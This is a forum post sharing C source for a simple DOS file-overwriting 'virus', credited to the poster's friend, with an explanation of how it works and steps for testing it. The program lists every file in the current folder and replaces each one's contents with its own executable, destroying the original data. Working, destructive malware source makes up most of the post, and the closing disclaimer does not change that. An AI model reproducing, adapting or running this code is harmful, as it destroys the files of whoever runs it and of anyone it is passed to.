and about C++ virus i have something similar, you may not call it a proper virus it damages computer and it may give you some idea, just get the idea from this program

It's not created by me, one of my frnd Shumaila Juffar did it

Code:
#include<stdio.h>
#include<dos.h>
#include<dir.h>
#include<fcntl.h>
#include<conio.h>
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf("--------------------------------------------------------------------------");
printf("\nVirus: Pagal Shum :p 1.0\nProgrammer:shumaila jaffer\n");
cprintf("--------------------------------------------------------------------------");
done = findfirst("*.*",&ffblk,0);
while (!done)
{ printf("\n");cprintf(" %s ", ffblk.ff_name);printf("is attacked by ");cprintf("Logicbomb");
source=open(argv[0],O_RDONLY|O_BINARY);
target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}
How it works?
The working logic is very simple the program get its name through
command line argument and using findfirst(),findnext() functions files in current working directery are fetched and are replaced by our program So the target file will become our program
How to test
1>write the code in c compiler, remember thatDO NOT RUN THE CODE, just complie or build it, so that the .exe file is built
2>create a folder say "test",put the .exe file of our program in that folder also put some other files,run our example.exe file ,all files in folder r attacked

WARNING
I have not tested this neither i created, i am just sharing ..... so i will reccomend that use this program to get an idea, dont implement